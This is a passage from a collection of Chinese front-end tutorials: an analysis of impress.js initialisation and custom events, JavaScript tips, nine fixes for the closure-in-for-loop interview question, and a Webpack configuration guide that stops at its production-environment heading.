很显然我们在阅读源码之初没必要逐字逐句去分析这些通用函数的语法和作用，因为通用函数就是工具。我们真正应该关心的是impress的主体架构。


从源码的223line起就是impress主函数和5大api


API:  goto(), init(), next(), prev()，initStep（）



主函数： var impress = window.impress = function ( rootId ) {......}


我们可以再看index.html,它先引入impress.js,然后调用init()这个api函数















<script src="js/impress.js"></script>

<script>
impress().init();
</script>



那么我们接下来重点来研究这个init（）函数


var init = function () {
    if (initialized) { return; }//初始值initialized=false；
    //第一步我们简历viewport来支持手机设备
    var meta = $("meta[name='viewport']") || document.createElement("meta");
                      //$是一个函数，本人觉得就是借鉴了jquery的源码。line104
                      //  var $ = function ( selector, context ) {
                      //context = context || document;
                      //return context.querySelector(selector);
                      //};

    meta.content = "width=device-width, minimum-scale=1, maximum-scale=1, user-scalable=no";
    if (meta.parentNode !== document.head) {//判断meta的parentNode节点是不是<head>
        meta.name = 'viewport';   //如果不是head标签，就js添加一个meta标签
        document.head.appendChild(meta);
    }

                                   //初始化配置root
                                   //  243line  ： rootId = rootId || "impress";
                                    //269line：var root = byId( rootId );
        var rootData = root.dataset;//获取到初始化的root数据，即id=“impress”的div标签里的内容
        config = {
            width: toNumber( rootData.width, defaults.width ),
            height: toNumber( rootData.height, defaults.height ),
            maxScale: toNumber( rootData.maxScale, defaults.maxScale ),
            minScale: toNumber( rootData.minScale, defaults.minScale ),                
            perspective: toNumber( rootData.perspective, defaults.perspective ),
            transitionDuration: toNumber( rootData.transitionDuration, defaults.transitionDuration )
        };

        windowScale = computeWindowScale( config );

        // wrap steps with "canvas" element
        arrayify( root.childNodes ).forEach(function ( el ) {
            canvas.appendChild( el );
        });
        root.appendChild(canvas);
    //这里出现了arrayify函数，在69行。'arraify'函数能够把类数组对象转化为真正数组,
    //slice() 方法可从已有的数组中返回选定的元素。   
                     //   var arrayify = function ( a ) {
                    //return [].slice.call( a );
                    // };    



//forEach是javascript的数组循环遍历函数。

//  canvas的来源：line270   var canvas = document.createElement("div");

//我们在浏览器中调试发现 root.childNodes是一个数组，是包裹在




里面 的所有div块

//因为我们的html结构是这样的<div id="impress"><div id="step-1"></div><div id="step-2"></div>..... </div>

//然后利用arrayify函数把 root.childNodes转化为小数组。再利用forEach（）函数把数组遍历一遍，动态在root节点后面插入div，这个是dom操作

//还是没法理解的同学，请在浏览器中一行一行的代码敲入，观察效果   ==。js太需要一个可以断点调试的ide了！！！


document.documentElement.style.height = "100%";

        css(body, {
            height: "100%",
            overflow: "hidden"
        });

        var rootStyles = {
            position: "absolute",
            transformOrigin: "top left",
            transition: "all 0s ease-in-out",
            transformStyle: "preserve-3d"
        };

        css(root, rootStyles);
        css(root, {
            top: "50%",
            left: "50%",
            transform: perspective( config.perspective/windowScale ) + scale( windowScale )
        });
        css(canvas, rootStyles);

        body.classList.remove("impress-disabled");
        body.classList.add("impress-enabled");

        // get and init steps
        steps = $$(".step", root);
                 // $$函数如下
                /*  var $$ = function ( selector, context ) {
                            context = context || document;
                            return arrayify( context.querySelectorAll(selector) );
                        };*/
        steps.forEach( initStep );
        //找到每一个class为”step“的元素，返回root（id=“impress”）的数组
        //forEach遍历每一个数组，给每个div用initstep（）函数初始化。
        //即我们一开始分析的那个函数。主要是把data-*自定义的数据获得，附上transtion样式。
        // set a default initial state of the canvas
        currentState = {
            translate: { x: 0, y: 0, z: 0 },
            rotate:    { x: 0, y: 0, z: 0 },
            scale:     1
        };
     //当前的状态。位移为0，旋转为0，缩放为1.   
        initialized = true;
        //初始化为true，即完成初始化
        triggerEvent(root, "impress:init", { api: roots[ "impress-root-" + rootId ] });
    };



//我们遇了triggerEvent（）函数，这个是自定义事件监听函数，源码如下


       /*var triggerEvent = function (el, eventName, detail) {
                var event = document.createEvent("CustomEvent");
                event.initCustomEvent(eventName, true, true, detail);
                el.dispatchEvent(event);
            };*/



//document.createEvent("CustomEvent");是自定义事件函数

       // 然后初始化事件对象event.initCustomEvent(eventName, true, true, detail);

        //其中，第一个参数为要处理的事件名

        //第二个参数为表明事件是否冒泡

        //第三个参数为表明是否可以取消事件的默认行为

        //第四个参数为细节参数

        //（参考https://developer.mozilla.org/en-US/docs/Web/API/Document/createEvent）

        //通过dispatchEvent()方法来将事件应用到特定的dom节点上，以便其支持该事件。这个dispatchEvent()事件，支持一个参数，就是你创建的event对象。



  总结:初始化过程分为两个阶段，第一个阶段是运行init()函数，第二个阶段是运行绑定到impress:init上的函数。这两个阶段之间的连接非常简单，就是在init()函数的结尾触发impress:init事件，这样绑定上去的函数就会全部触发了。而这个事件是用户自定义的dom3事件




3.事件对象绑定与监听

init()函数搞清楚了，下面我们分析第二阶段：运行绑定到impress:init事件上的函数。我们 来看看impress:init事件绑定了什么函数：


  root.addEventListener("impress:init", function(){
            // STEP CLASSES
            steps.forEach(function (step) {
                step.classList.add("future");
            });
   //作者全部用的都是原生js,真是给大神跪了.         
            root.addEventListener("impress:stepenter", function (event) {
                event.target.classList.remove("past");
 //利用html5 classList属性对class类增删改查了,再也不需要jquery的addclass()等二次封装的函数了.
                event.target.classList.remove("future");
                event.target.classList.add("present");
            }, false);

            root.addEventListener("impress:stepleave", function (event) {
                event.target.classList.remove("present");
                event.target.classList.add("past");
            }, false);

        }, false);




  init是初始化事件，stepenter是进入下一步事件，stepleave是离开上一步事件。具体的函数源码如下




  var onStepEnter = function (step) {
            if (lastEntered !== step) {
                triggerEvent(step, "impress:stepenter");
                lastEntered = step;
            }
        };
  var onStepLeave = function (step) {
            if (lastEntered === step) {
                triggerEvent(step, "impress:stepleave");
                lastEntered = null;
            }
        };



一个step就是一个ppt，你按一次键盘上的left键或者right键就会切换一次step。它也把键盘事件绑定了,源码如下


document.addEventListener("keyup", function ( event ) {...}
document.addEventListener("keydown", function ( event ) {...}
document.addEventListener("click", function ( event ) {...}
window.addEventListener("resize", throttle(function () {...}
document.addEventListener("touchstart", function ( event ) {...}



分析到这里其实也差不多能够搞懂源码了,只是有点思维混乱,毕竟初次读源码,光找各种通用函数都块找哭了.

我们把这一节介绍的init函数和自定义事件的源码函数理一理,便于大家分析



  impress 主函数，构造impress对象，这是一个全局对象

  onStepEnter 用于触发impress:stepenter事件

  onStepLeave 用于触发impress:stepleave事件

  initStep 初始化给定step init 主初始化函数

  getStep 获取指定step goto 切换到指定step

  prev 切换到上一个step next 切换到下一个step




三. impress.js源码分析的总结


我会把impress.js源码逐字解读放在github上,稍后更新,就不在这里啰嗦了.我是前端菜鸟,希望大家一起来分析讨论.共享代码和思想.

关于总结,与其说是总结,不如说是我的一点心得体会吧.



  我们也许用原生js做过单独的全屏滚动,

   我们也许重写过鼠标键盘事件,

   我们也许也做过自定义事件的绑定.

  我们也许用过data-*的自定义数据

  我们也许用过css3 transform和translate3d 做过动画

  我们也许....




有很多技术我们单独实现都很简单,但是把他们综合在一起就发现好难,如何保证命名空间不污染,变量作用域,如何写出兼容性的js和css代码,如何处理好各种代码细节,这都是我们需要反思的地方.impress.js是我第一次阅读的js源码,今后我会把更多发现的问题写在这里,文章会持续更新,和大家一起讨论进步学习.


 总结的一些JavaScript的冷知识

作者：JingDing

来源： 总结的一些JavaScript的冷知识



                    
1、!!将一个值方便快速转化为布尔值


console.log( !!window===true );



2、不声明第三个变量实现交换


var a=1,b=2;
a=[b,b=a][0];//执行完这句代码之后 a的值为2 b的值为1了



3、&&和||的用法 （学会了立马感觉高大尚了吧）


用代码说话吧


var day=(new Date).getDay()===0;
//传统if语句
if (day) {
    alert('Today is Sunday!');
};
//运用逻辑与代替if
day&&alert('Today is Sunday!');//也就是说只有day为真的情况才执行后面的代码alert  一句简单的代码就实现了上面的if功能  强大吧



 if (!a) {
    a = {};
 }
 //上面的三句话可以用下面的一句话替换哦
 a = a || {}; //解释这句话一下哦   如果有a这个变量的声明的话 那么它还是原来的对象  如果没有就给它创建一个对象



顺便写一下下面的例子


与其这样书写：if(string.length > 0){..}

不如这样书写：if(string.length){..}


4、NAN不等于任何值，包括它自身


大家都知道在任何编程语言中，如果被除数为0则会报错，而在js里面不会，它返回的值为NAN，NaN表示一个不能产生正常结果的运算结果，我们可以用isNaN(number)来检测是不是NAN，但是大家也许都不知道NAN不等于任何值，包括它自身。





5、利用script标签保存任意信息


将script标签设置为type='text'然后可以在里面保存任意信息，之后可以在JavaScript代码中很方便地获取。


页面代码如下所示：


 <script type="text" id="angelaScript">
    <h1>这个标题1是不会显示出来的，可以用这种方式保存信息哦！</h1>
    </script>
    <script type="text/javascript">
        console.log(document.getElementById('angelaScript').innerHTML); 
    </script>



结果显示如下图所示：





6、js当中Switch的一些用法





看上图运行的效果，总结一句哦！



	1）switch参数变量与case后面的比较是全等比较，也就是说===的比较  

	2）并非每一个case后面都需要书写break，如果不写的话，它会顺序往下执行的 

	3）switch语句不光可以使用数字、字符做条件表达式，还可以使用字符串！



看下面的switch的使用，你瞬间觉得switch这么厉害！





7、了解作用域，清楚明白当前的this是谁





8、 你可能不知道的js数组



	数组的length属性不可枚举

	JS的数组可以用字符串形式的数字下标来访问，因为数组的元素其实是数组对象的属性。

	delete可以用来从数组中移除元素，但由于一个元素就是一个属性，delete会在数组中遗留一个“空洞”；被delete删除的元素为undefined，使用splice方法可能是一个更好的办法。例如要删除arr数组的第3个元素，可以使用这样的语句：arr.splice(2,1);不过对于大型数组来说，这个函数的效率可能不高。






9、html中设置了id的元素居然是js的全局变量哦


html页面代码如下所示


    <div id="angelaDiv">
    </div>
    <script type="text/javascript">
        console.log(angelaDiv);
    </script>



在chrome控制台看到的结果如下图所示





10、字符串居然能用下标访问


大家都知道字符串是不可变的，在js中也是如此。也就是说一旦字符串被创建，就无法改变。但是我相信很少人知道在js当中居然可以用下标来访问字符串当中的某一个字符，虽然可以用下标读取但去不能修改哦(虽然修改操作不会报错，但是却不起作用)





11、字符串的一些方法



	string的substring函数的用法和slice一样，但是它不能处理负数参数。ECMAscript中也没有对substr方法进行标准化，所以如果要取一个字符串的子串，就用slice方法吧！

	string的split(separator,limit)方法把string分割成片段，来创建一个字符串数组。可选参数limit可以限制被分割的片段数量。separator参数可以是一个字符串或一个正则表达式，并且来自分组捕获的文本将会被包含在被分割后的数组中



var s = 'str1 , str2 , str3';s.split(/\s(,)\s/,4);  
//输出结果：["str1",",","str2",","]  



 


12、把浏览器当成编辑器


浏览器地址栏输入以下代码，立马就把浏览器变成notepad了，厉害吧！


data:text/html, <html contenteditable>



13、垂直居中


大家都知道css里面用text-align:center加上margin:0 auto就可以实现水平居中了，但是垂直居中却没有相应的css属性来设置，而如果要设置元素能够垂直居中必须得将容器设置为display:table，然后将子元素也就是要垂直居中显示的元素设置为display:table-cell，然后加上vertical-align:middle来实现。


看代码吧！下面的代码利用css3的transform来实现垂直居中和水平居中


.center-vertical {
    position: relative;
    top: 50%;
    transform: translateY(-50%);
}
.center-horizontal {
    position: relative;
    left: 50%;
    transform: translateX(-50%); 
}



转自 快乐人生，积极进取-总结的一些js的冷知识


 用9种办法解决 JS 闭包经典面试题之 for 循环取 i

作者：Tomson

来源： 用9种办法解决 JS 闭包经典面试题之 for 循环取 i



                    
闭包


	正确的说,应该是指一个闭包域,每当声明了一个函数,它就产生了一个闭包域(可以解释为每个函数都有自己的函数栈),每个闭包域(Function 对象)都有一个 function scope(不是属性),function scope内默认有个名为 Globe 的全局引用(有了这个引用,就可以直接调用 Globe 的属性或方法)


	凡是在闭包域内声明的变量或方法,外部无法直接访问


	闭包域可以访问外部的变量或方法





(上图为 chrome 下 debug 环境)



当在一个闭包域内包含另一个闭包域时(简单的说就是在一个函数内有另一个函数,当然这个内部函数的生命周期是依附于外部函数的), 此时,若子闭包域(内部的闭包域,内部函数)使用了父闭包域(外部闭包域,外部函数)的私有变量(在父闭包域中声明的变量,父闭包域的外部空间无法直接访问,但子闭包域可以访问),子闭包域即当前的子函数的 function scope 会产生一个 closure 对象属性,这个对象属性内包含的是子闭包域对父闭包域的所有引用(只要子闭包域(内部函数)还存活,其父闭包域(外部函数)就依旧存活),倘若在父闭包域存活期间对其私有变量内容进行修改,则对这些父闭包域的私有变量进行引用的子闭包域中 function scope 的 closure 对象属性的内容也会发生变化,因为这只是引用.

举例:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
    <script type="text/javascript" charset="utf-8">
        //函数 a 有一个私有变量 p 和一个内部函数 innerA
        function a() {                      //外部闭包域 ,一个名为 a 的 Function 对象
            var p = 0;                      //私有变量 p
            var innerA = function () {      //内部闭包域 ,一个名为 innerA 的 Function 对象
                console.log(p);             //对外部闭包域的私有变量进行了引用,故 innerA 对象的 function scope 会产生一个名为 closure 的对象属性,closure 对象内含有一个名为 p 的引用
            }

            innerA();//输出0
            p++;
            innerA();//输出1
        }
        a();
    </script>
</body>
</html>

结果如下:

第一次调用innerA



第二次调用 innerA



控制台输出





回到主题 面试经典问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <script type="text/javascript">
        //面试经典问题:

        function onMyLoad(){
            /*
            抛出问题:
                此题的目的是想每次点击对应目标时弹出对应的数字下标 0~4,但实际是无论点击哪个目标都会弹出数字5
            问题所在:
                arr 中的每一项的 onclick 均为一个函数实例(Function 对象),这个函数实例也产生了一个闭包域,
                这个闭包域引用了外部闭包域的变量,其 function scope 的 closure 对象有个名为 i 的引用,
                外部闭包域的私有变量内容发生变化,内部闭包域得到的值自然会发生改变
            */
            var arr = document.getElementsByTagName("p");
            for(var i = 0; i < arr.length;i++){
                arr[i].onclick = function(){
                    alert(i);
                }
            }
        }
    </script>
</head>
<body onload="onMyLoad()">
    <p>产品一</p>
    <p>产品二</p>
    <p>产品三</p>
    <p>产品四</p>
    <p>产品五</p>
</body>
</html>

解决办法:

解决办法一

/*
解决思路:
    增加若干个对应的闭包域空间(这里采用的是匿名函数),专门用来存储原先需要引用的内容(下标),不过只限于基本类型(基本类型值传递,对象类型引用传递)
 */
for(var i = 0;i<arr.length;i++){

    //声明一个匿名函数,若传进来的是基本类型则为值传递,故不会对实参产生影响,
    //该函数对象有一个本地私有变量arg(形参) ,该函数的 function scope 的 closure 对象属性有两个引用,一个是 arr,一个是 i
    //尽管引用 i 的值随外部改变 ,但本地私有变量(形参) arg 不会受影响,其值在一开始被调用的时候就决定了.
    (function (arg) {
        arr[i].onclick = function () {  //onclick函数实例的 function scope 的 closure 对象属性有一个引用 arg,
            alert(arg);                 //只要 外部空间的 arg 不变,这里的引用值当然不会改变
        }
    })(i);                              //立刻执行该匿名函数,传递下标 i(实参)
}

解决办法二

/*
解决思路:
    将下标作为对象属性(name:"i",value:i的值)添加到每个数组项(p对象)中
*/
for(var i = 0;i<arr.length;i++){
    //为当前数组项即当前 p 对象添加一个名为 i 的属性,值为循环体的 i 变量的值,
    //此时当前 p 对象的 i 属性并不是对循环体的 i 变量的引用,而是一个独立p 对象的属性,属性值在声明的时候就确定了
    //(基本类型的值都是存在栈中的,当有一个基本类型变量声明其等于另一个基本变量时,此时并不是两个基本类型变量都指向一个值,而是各自有各自的值,但值是相等的)
    arr[i].i = i;
    arr[i].onclick = function () {
        alert(this.i);
    }
}

解决办法三

/*
解决思路:
    与解决办法一有点相似但却有点不太相似.
    相似点:同样是增加若干个对应的闭包域空间用来存储下标
    不同点:解决办法一是在新增的匿名闭包空间内完成事件的绑定,而此例是将事件绑定在新增的匿名函数返回的函数上

    此时绑定的函数中的 function scope 中的 closure 对象的 引用 arg 是指向将其返回的匿名函数的私有变量 arg
 */
for(var i = 0; i<arr.length;i++){
    arr[i].onclick = (function(arg){
        return function () {
            alert(arg);
        }
    })(i);
}

解决办法四

/*
解决思路与解决办法一相同
 */
for(var i = 0; i<arr.length;i++){
    (function(){
       var temp = i;
        arr[i].onclick = function () {
            alert(temp);
        }
    })();
}

解决办法五

/*
解决思路与解决办法三及四相同
 */
for(var i = 0;i<arr.length;i++){
    arr[i].onclick = (function () {
        var temp = i;
        return function () {
            alert(temp);
        }
    })();
}

解决办法六

/*
解决思路:
    将下标添加为绑定函数的属性
 */
for(var i = 0;i<arr.length;i++){
    (arr[i].onclick = function () {
        alert(arguments.callee.i);      //arguments 参数对象  arguments.callee 参数对象所属函数
    }).i = i;
}

解决办法七

/*
解决思路:
    通过 new 使用 Function 的构造函数 创建 Function 实例实现,由于传入的函数体的内容是字符串,故 Function 得到的是一个字符串拷贝,而没有得到 i 的引用(这里是先获取 i.toString()然后与前后字符串拼接成一个新的字符串,Function 对其进行反向解析成 JS 代码)
 */
for(var i = 0;i<arr.length;i++){
    arr[i].onclick = new Function("alert("+i+");");//每 new 一个 Function 得到一个 Function 对象(一个函数),有自己的闭包域
}

解决办法八

/*
解决思路:
    直接通过 Function 返回一个函数
    与解决办法七的不同之处在于:
        解决办法七使用 new,使用了 new,此时 Function 函数就被当成构造器可以用来构造一个 Function 实例返回
        当前解决办法没有使用 new ,即将 Function 函数当成一个函数,传入参数返回一个新函数;
        其实此处 new 与不 new 只是的区别在于:
            使用了 new 即 Function 函数充当构造器,由 JS 解析器生产一个新的对象,构造器内的 this 指向该新对象;
            不实用 new 即 Function 函数依旧是函数,由函数内部自己生产一个实例返回.
 */
for(var i = 0;i<arr.length;i++){
    arr[i].onclick = Function("alert("+i+");");
}


解决办法九
使用ES6新语法 let 关键字 由于几新东西 各浏览器支持不同
chrome 及 opera支持以下语法

<script type="application/javascript">
    "use strict";//使用严格模式,否则报错 SyntaxError: Block-scoped declarations (let, const, function, class) not yet supported outside strict mode
    var arr = document.getElementsByTagName("p");
    for(var i = 0;i<arr.length;i++){
        let j = i;//创建一个块级变量
        arr[i].onclick = function () {
            alert(j);
        }
    }
</script>

在 chrome 查看



可以在控制台看到 j 变量是一个 block 级的变量

待函数绑定完成后看数组项:


此时的该数组项的<function scope>的 Block 域有个 j 存储的就是对应的数组下标
firefox支持一下语法

<script type="application/javascript;version=1.7">
    var arr = document.getElementsByTagName("p");
    for(var i = 0;i<arr.length;i++){
        let j = i;
        arr[i].onclick = function () {
            alert(j);
        }
    }
</script>

由于新语法各大厂商的支持尚未规范故暂不不推荐使用

解决办法大同小异,只要理解其中的实质,可以写出多多的解决办法


 WebPack 常用功能介绍

作者：tinybear

来源： WebPack 常用功能介绍



                    
概述

Webpack是一款用户打包前端模块的工具。主要是用来打包在浏览器端使用的javascript的。同时也能转换、捆绑、打包其他的静态资源，包括css、image、font file、template等。个人认为它的优点就是易用，而且常用功能基本都有,另外可以通过自己开发loader和plugin来满足自己的需求。这里就尽量详细的来介绍下一些基本功能的使用。

安装

npm install webpack 


运行webpack

webpack需要编写一个config文件，然后根据这个文件来执行需要的打包功能。我们现在来编写一个最简单的config。新建一个文件，命名为webpack-config.js。config文件实际上就是一个Commonjs的模块。内容如下：

var webpack = require('webpack');
var path = require('path');
var buildPath = path.resolve(__dirname,"build");
var nodemodulesPath = path.resolve(__dirname,'node_modules');

var config = {
    //入口文件配置
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]//当requrie的模块找不到时，添加这些后缀
    },
    //文件导出的配置
    output:{
        path:buildPath,
        filename:"app.js"
    }
}

module.exports = config;


我的目录结构是这样的：


webpack
    |---index.html
    |---webpack-config.js
    |---src
         |---main.js
         |---js
              |---a.js


main.js文件内容如下：


var a = require('./js/a');
a();
console.log('hello world');
document.getElementById("container").innerHTML = "<p>hello world</p>";


a.js文件内容如下：

module.exports = function(){
    console.log('it is a ');
}


然后我们执行如下的命令：


webpack --config webpack-config.js --colors


这样我们就能在目录里面看到一个新生成的目录build，目录结构如下：


webpack
    |---index.html
    |---webpack-config.js
    |---build
         |---app.js


然后引用app.js就Ok啦。main.js和模块a.js的内容就都打包到app.js中了。这就演示了一个最简单的把模块的js打包到一个文件的过程了。

介绍webpack config文件

webpack是根据config里面描述的内容对一个项目进行打包的。接着我们来解释下config文件中的节点分别代表什么意思。一个config文件，基本都是由以下几个配置项组成的。

entry

配置要打包的文件的入口;可以配置多个入口文件，下面会有介绍。

resolve

配置文件后缀名(extensions)，除了js，还有jsx、coffee等等。
alias配置项，可以为常用模块配置改属性，可以节省编译的搜索时间。例如：

    resolve:{
        extensions:['.js','.jsx'],
        alias:{
            'react':path.join(nodeModulesPath,'react/react.js')
        }
    }

除了这个功能还可以配置其他有用的功能，由于我还不完全了解，有知道的朋友欢迎指教。

output

配置输出文件的路径，文件名等。

module(loaders)

配置要使用的loader。对文件进行一些相应的处理。比如babel-loader可以把es6的文件转换成es5。
大部分的对文件的处理的功能都是通过loader实现的。loader就相当于gulp里的task。loader可以用来处理在入口文件中require的和其他方式引用进来的文件。loader一般是一个独立的node模块，要单独安装。

loader配置项：

test: /\.(js|jsx)$/,           //注意是正则表达式，不要加引号，匹配要处理的文件
loader: 'eslint-loader',       //要使用的loader，"-loader"可以省略
include: [path.resolve(__dirname, "src/app")],   //把要处理的目录包括进来
exclude: [nodeModulesPath]     //排除不处理的目录


目前已有的loader列表：https://webpack.github.io/docs/list-of-loaders.html    

一个module的例子:

module: {
    preLoaders: [
      {
        test: /\.(js|jsx)$/,
        loader: 'eslint-loader',
        include: [path.resolve(__dirname, "src/app")],
        exclude: [nodeModulesPath]
      },
    ],
    loaders: [
      {
        test: /\.(js|jsx)$/, //正则表达式匹配 .js 和 .jsx 文件
        loader: 'babel-loader?optional=runtime&stage=0',//对匹配的文件进行处理的loader 
        exclude: [nodeModulesPath]//排除node module中的文件
      }
    ]
}


plugins

顾名思义，就是配置要使用的插件。plugin是比loader功能更强大的插件，能使用更多的wepack api。来看一个使用plugin的例子：

plugins: [
    //压缩打包的文件
    new webpack.optimize.UglifyJsPlugin({
      compress: {
        //supresses warnings, usually from module minification
        warnings: false
      }
    }),
    //允许错误不打断程序
    new webpack.NoErrorsPlugin(),
    //把指定文件夹xia的文件复制到指定的目录
    new TransferWebpackPlugin([
      {from: 'www'}
    ], path.resolve(__dirname,"src"))
  ]


目前已有的plugins列表：http://webpack.github.io/docs/list-of-plugins.html

如何压缩输出的文件

plugins: [
    //压缩打包的文件
    new webpack.optimize.UglifyJsPlugin({
      compress: {
        //supresses warnings, usually from module minification
        warnings: false
      }
    })]


如何copy目录下的文件到输出目录

copy文件需要通过插件"transfer-webpack-plugin"来完成。

安装：

npm install transfer-webpack-plugin  -save


配置:

var TransferWebpackPlugin = require('transfer-webpack-plugin');
//其他节点省略    
plugins: [
    //把指定文件夹下的文件复制到指定的目录
    new TransferWebpackPlugin([
      {from: 'www'}
    ], path.resolve(__dirname,"src"))
  ]


打包javascript模块

支持的js模块化方案包括：


	
ES6 模块

import MyModule from './MyModule.js';



	
CommonJS

var MyModule = require('./MyModule.js');



	
AMD

define(['./MyModule.js'], function (MyModule) {
});





上面已经演示了打包js模块,这里不再重复。ES6的模块需要配置babel-loader来先把处理一下js文件。
下面展示下打包ES模块的配置文件:


var webpack = require('webpack');
var path = require('path');
var buildPath = path.resolve(__dirname, 'build');
var nodeModulesPath = path.resolve(__dirname, 'node_modules');
var TransferWebpackPlugin = require('transfer-webpack-plugin');

var config = {
  entry: [path.join(__dirname, 'src/main.js')],
  resolve: {
    extensions: ["", ".js", ".jsx"]
    //node_modules: ["web_modules", "node_modules"]  (Default Settings)
  },
  output: {
    path: buildPath,    
    filename: 'app.js'  
  },
  plugins: [
    new webpack.optimize.UglifyJsPlugin({
      compress: {
        warnings: false
      }
    }),
    new webpack.NoErrorsPlugin(),
    new TransferWebpackPlugin([
      {from: 'www'}
    ], path.resolve(__dirname,"src"))
  ],
  module: {
    preLoaders: [
      {
        test: /\.(js|jsx)$/,
        loader: 'eslint-loader',
        include: [path.resolve(__dirname, "src/app")],
        exclude: [nodeModulesPath]
      },
    ],
    loaders: [
      {
        test: /\.js$/, //注意是正则表达式，不要加引号
        loader: 'babel-loader?optional=runtime&stage=0',//babel模块相关的功能请自查，这里不做介绍
        exclude: [nodeModulesPath]
      }
    ]
  },
  //Eslint config
  eslint: {
    configFile: '.eslintrc' //Rules for eslint
  },
};

module.exports = config;



打包静态资源

css/sass/less

安装css-loader和style-loader


npm install css-loader --save -dev
npm install style-loader --save -dev


config配置：


var config = {
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"app.js"
    },
    module:{
        loaders:[{
            test:/\.css$/,
            loader:'style!css',
            exclude:nodemodulesPath
        }]
    }
}


style-loader会把css文件嵌入到html的style标签里，css-loader会把css按字符串导出，这两个基本都是组合使用的。打包完成的文件，引用执行后，会发现css的内容都插入到了head里的一个style标签里。
如果是sass或less配置方式与上面类似。

images

可以通过url-loader把较小的图片转换成base64的字符串内嵌在生成的文件里。
安装：


npm install url-loader --save -dev


config配置:

var config = {
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"app.js"
    },
    module:{
        loaders:[{
            test:/\.css$/,
            loader:'style!css',//
            exclude:nodemodulesPath
        },
        { test:/\.png$/,loader:'url-loader?limit=10000'}//限制大小小于10k的
        ]
    }
}


css文件内容：


#container{
    color: #f00;
    background:url(images/logo-201305.png);
    /*生成完图片会被处理成base64的字符串 注意：不要写'/images/logo-201305.png',否则图片不被处理*/
}


iconfont

内嵌iconfont的使用方法其实和上述处理png图片的方法一致。通过url-loader来处理。

config配置：


var config = {
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"app.js"
    },
    module:{
        loaders:[{
            test:/\.css$/,
            loader:'style!css',//
            exclude:nodemodulesPath
        },
        { test:/\.(png|woff|svg|ttf|eot)$/,loader:'url-loader?limit=10000'}//限制大小小于10k的
        ]
    }
}


css文件内容：


@font-face {font-family: 'iconfont';
src: url('fonts/iconfont.eot'); /* IE9*/
src: url('fonts/iconfont.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
url('fonts/iconfont.woff') format('woff'), /* chrome、firefox */
url('fonts/iconfont.ttf') format('truetype'), /* chrome、firefox、opera、Safari, Android, iOS 4.2+*/
url('fonts/iconfont.svg#iconfont') format('svg'); /* iOS 4.1- */
}


执行打包后会把字体文件都转换成base64字符串内容到文件里.
这里有个头疼的问题，就是每个浏览器支持的字体格式不一样，由于把全部格式的字体打包进去，造成不必要的资源浪费。

打包template

我一大包handlebars的模块为例，来演示下打包模块的过程。有的模板对应的loader，有可能没有现车的，恐怕要自己实现loader。

先安装必须的node模块

npm install handlebars-loader --save -dev
npm install handlebars -save//是必须的


config配置:


var config = {
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"app.js"
    },
    module:{
        loaders:[
        { test: /\.html$/, loader: "handlebars-loader" }
        ]
    }
}


新建一个模板文件tb.html，目录结构：

webpack
    |---index.html
    |---webpack-config.js
    |---src
         |---template
         |         |---tb.html
         |---main.js


main.js中调用模块的代码如下：


var template = require("./template/tp.html");
var data={say_hello:"it is handlebars"};
var html = template(data);
document.getElementById('tmpl_container').innerHTML = html;         


公用的模块分开打包

这需要通过插件“CommonsChunkPlugin”来实现。这个插件不需要安装，因为webpack已经把他包含进去了。
接着我们来看配置文件：

var config = {
    entry:{app:path.resolve(__dirname,'src/main.js'),
            vendor: ["./src/js/common"]},//【1】注意这里
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"app.js"
    },
    module:{
        loaders:[{
            test:/\.css$/,
            loader:'style!css',
            exclude:nodemodulesPath
        }
        ]
    },
    plugins:[
        new webpack.optimize.UglifyJsPlugin({
             compress: {
                warnings: false
             }
        }),
        //【2】注意这里  这两个地方市用来配置common.js模块单独打包的
        new webpack.optimize.CommonsChunkPlugin({
            name: "vendor",//和上面配置的入口对应
            filename: "vendor.js"//导出的文件的名称
        })
    ]
}


目录结构现在是这样的：


webpack
  |---index.html
  |---webpack-config.js
  |---src
     |---main.js
     |---js
          |---a.js    //a里面require了common
          |---common.js


执行webpack会生成app.js和common.js两个文件.

多个入口

config配置：

var config = {    
    entry:{
        m1:path.resolve(__dirname,'src/main.js'),
         m2:path.resolve(__dirname,'src/main1.js')
    },//注意在这里添加文件的入口
    resolve:{
        extentions:["","js"]
    },
    output:{
        path:buildPath,
        filename:"[name].js"//注意这里使用了name变量
    }    
}


webpack-dev-server

在开发的过程中个，我们肯定不希望，每次修改完都手动执行webpack命令来调试程序。所以我们可以用webpack-dev-server这个模块来取代烦人的执行命令。它会监听文件，在文件修改后，自动编译、刷新浏览器的页面。另外，编译的结果是保存在内存中的，而不是实体的文件，所以是看不到的，因为这样会编译的更快。它就想到与一个轻量的express服务器。
安装：


npm install webpack-dev-server --save -dev


config配置：


var config = {
    entry:path.resolve(__dirname,'src/main.js'),
    resolve:{
        extentions:["","js"]
    },
    //Server Configuration options
    devServer:{
        contentBase: '',  //静态资源的目录 相对路径,相对于当前路径 默认为当前config所在的目录
        devtool: 'eval',
        hot: true,        //自动刷新
        inline: true,    
        port: 3005        
    },
    devtool: 'eval',
    output:{
        path:buildPath,
        filename:"app.js"
    },
    plugins: [
        new webpack.HotModuleReplacementPlugin(),//这个好像也是必须的，虽然我还没搞懂它的作用
        new webpack.NoErrorsPlugin()
    ]
}


我的目录结构:


webpack
  |---index.html
  |---webpack-config.js//我把静态资源目录配置在了这里
  |---src
     |---main.js
     |---js
          |---a.js
          |---common.js


执行命令：


webpack-dev-server --config webpack-dev-config.js  --inline --colors


默认访问地址：

http://localhost:3000/index.html(根据配置会不一样)


有一点需要声明，在index.html（引用导出结果的html文件）里直接引用“app.js”，不要加父级目录,因为此时app.js在内存里与output配置的目录无关：

<script type="text/javascript" src="app.js"></script>


详细文档在这里查看：http://webpack.github.io/docs/webpack-dev-server.html

如何区分开发及生产环境

